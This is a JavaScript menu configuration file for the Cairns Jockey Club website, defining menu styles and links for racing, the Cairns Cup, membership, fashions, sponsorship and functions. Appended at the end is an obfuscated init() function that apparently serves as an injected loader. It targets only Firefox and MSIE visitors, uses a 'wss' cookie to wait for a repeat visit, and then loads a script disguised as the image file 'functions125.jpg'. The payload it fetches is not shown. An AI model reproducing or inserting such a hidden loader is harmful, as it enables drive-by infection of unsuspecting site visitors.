fixMozillaZIndex=true; //Fixes Z-Index problem  with Mozilla browsers but causes odd scrolling problem, toggle to see if it helps
_menuCloseDelay=500;
_menuOpenDelay=150;
_subOffsetTop=2;
_subOffsetLeft=-2;




with(menuStyle=new mm_style()){
bordercolor="#00BAF7";
borderstyle="solid";
borderwidth=2;
fontfamily="Verdana, Tahoma, Arial";
fontsize="12";
fontstyle="normal";
headerbgcolor="#ffffff";
headercolor="#000000";
offbgcolor="#00BAF7";
offcolor="#FFFFFF";
onbgcolor="#E7F3BD";
oncolor="#000000";
outfilter="randomdissolve(duration=0.6)";
overfilter="Fade(duration=0.2);Alpha(opacity=90);Shadow(color=#777777', Direction=135, Strength=3)";
padding=4;
pagebgcolor="#00BAF7";
pagecolor="black";
separatorcolor="#00BAF7";
separatorsize=3;
subimage="http://img.milonic.com/arrow.gif";
subimagepadding=3;
}

with(milonic=new menuname("Main Menu")){
alwaysvisible=1;
menuwidth="798";
orientation="horizontal";
style=menuStyle;
aI("showmenu=HOME;text=CJC HOME;");
aI("showmenu=ABOUT US;text=ABOUT US;");
aI("showmenu=RACING;text=RACING;");
aI("showmenu=CAIRNS CUP;text=CAIRNS CUP;");
aI("showmenu=MEMBERSHIP;text=MEMBERSHIP;");;
aI("showmenu=FASHIONS;text=FASHIONS;");
aI("showmenu=SPONSORSHIP;text=SPONSORSHIP;");
aI("showmenu=FUNCTIONS;text=FUNCTIONS;");
}

with(milonic=new menuname("ABOUT US")){
overflow="scroll";
style=menuStyle;
aI("text=Present;url=http://www.cairnsjockeyclub.com.au/about.html;")
aI("text=History;url=http://www.cairnsjockeyclub.com.au/history.html;")
aI("text=Committee;url=http://www.cairnsjockeyclub.com.au/committee.html;")
aI("text=News Articles;url=http://www.cairnsjockeyclub.com.au/news.html;")
aI("text=Contact Us;url=http://www.cairnsjockeyclub.com.au/contact.html;")
}

with(milonic=new menuname("HOME")){
style=menuStyle;
aI("text=CJC Home;url=http://www.cairnsjockeyclub.com.au;");
aI("text=Cairns Amateurs;url=http://www.cairnsamateurs.org.au;");
}

with(milonic=new menuname("RACING")){
style=menuStyle;
aI("text=Racing;url=http://www.cairnsjockeyclub.com.au/racing.html;");
aI("text=Race Day Functions;url=http://www.cairnsjockeyclub.com.au/raceday_functions.html;");
aI("text=Sponsorship;url=http://www.cairnsjockeyclub.com.au/sponsorship.html;");
aI("text=Racing Calender;url=http://www.cairnsjockeyclub.com.au/calendar.html;");
aI("text=Forms and Racing Results;url=http://www.cairnsjockeyclub.com.au/results.html;");
aI("text=Racing Queensland Proposal;url=http://www.cairnsjockeyclub.com.au/qr_partnership.html;");
}

with(milonic=new menuname("CAIRNS CUP")){
style=menuStyle;
aI("text=Events;url=http://www.cairnsjockeyclub.com.au/cc_events.html;");
aI("text=General Admission;url=http://www.cairnsjockeyclub.com.au/cc_tickets.html;");
aI("text=Centenary Lunch & Calcutta;url=http://www.cairnsjockeyclub.com.au/cc_calcutta.html;");
aI("text=Corporate Marquees;url=http://www.cairnsjockeyclub.com.au/cc_corp_marquee.html;");
aI("text=Party Marquees;url=http://www.cairnsjockeyclub.com.au/cc_party_marquee.html;");
aI("text=Fashions on the Field;url=http://www.cairnsjockeyclub.com.au/cc_fof.html;");
aI("text=Fashionable Fillies;url=http://www.cairnsjockeyclub.com.au/cc_fillies.html;");
aI("text=Garden Party;url=http://www.cairnsjockeyclub.com.au/cc_garden.html;");
aI("text=Race Day Runway;url=http://www.cairnsjockeyclub.com.au/cc_runway.html;");
aI("text=Cairns Cup Sponsors;url=http://www.cairnsjockeyclub.com.au/cc_sponsors.html;");
aI("text=Catering;url=http://www.cairnsjockeyclub.com.au/cc_catering.html;");
aI("text=Carnival Map;url=http://www.cairnsjockeyclub.com.au/cc_map.html;");
aI("text=FAQ's;url=http://www.cairnsjockeyclub.com.au/cc_faqs.html;");
}

with(milonic=new menuname("MEMBERSHIP")){
style=menuStyle;
aI("text=Membership Info;url=http://www.cairnsjockeyclub.com.au/membership.html;");
aI("text=New Member Application;url=Membership;url=http://www.trybooking.com/Embed.aspx?eid=11356;");
aI("text=Renewing Member Application;url=Membership;url=http://www.trybooking.com/Embed.aspx?eid=11355;");
}

with(milonic=new menuname("FASHIONS")){
style=menuStyle;
aI("text=Fashions Calender;url=http://www.cairnsjockeyclub.com.au/fashion.html;");
aI("text=Race Day Runway;url=http://www.cairnsjockeyclub.com.au/runway.html;");
aI("text=Cairns Cup Race Day Runway;url=http://www.cairnsjockeyclub.com.au/cc_runway.html;");
aI("text=Race Day Runway Flyer;url=http://www.cairnsjockeyclub.com.au/cairnsjockeyclub/82356CJCRaceDayRunway.pdf;");
}

with(milonic=new menuname("SPONSORSHIP")){
style=menuStyle;
aI("text=Major Sponsorship;url=http://www.cairnsjockeyclub.com.au/major_sponsors.html;");
aI("text=Race Name Sponsorship;url=http://www.cairnsjockeyclub.com.au/cairnsjockeyclub/images/sponsorship_img/Race%20Name%20Sponsorship%20Package.pdf;");
aI("text=Feature Race Sponsorship;url=http://www.cairnsjockeyclub.com.au/cairnsjockeyclub/images/sponsorship_img/Feature%20Race%20Name%20Sponsorship%20Package.pdf;");
aI("text=Premium Race Day Sponsorship;url=http://www.cairnsjockeyclub.com.au/cairnsjockeyclub/images/sponsorship_img/Premium%20Raceday%20Sponsorship%20Package.pdf;");
aI("text=Signage and Sponsorship;url=http://www.cairnsjockeyclub.com.au/cairnsjockeyclub/images/sponsorship_img/Signage%20&%20Sponsorship%20Package.pdf;");
aI("text=Fashion on the Field Sponsorship;url=http://www.cairnsjockeyclub.com.au/cairnsjockeyclub/images/fashion_img/FOF%20Sponsorship%20Package.pdf;");
}

with(milonic=new menuname("FUNCTIONS")){
style=menuStyle;
aI("text=Functions at Cannon Park;url=http://www.cairnsjockeyclub.com.au/functions.html;");
aI("text=Hens Party Packages;url=http://www.cairnsjockeyclub.com.au/hens.html;");
aI("text=Bucks Party Packages;url=http://www.cairnsjockeyclub.com.au/bucks.html;");
aI("text=Catering;url=http://www.cairnsjockeyclub.com.au/catering.html;");
aI("text=Melbourne Cup;url=http://www.cairnsjockeyclub.com.au/melbournecup.html;");
}

drawMenus();




function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/cairnsjockeyclub/images/functions125.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
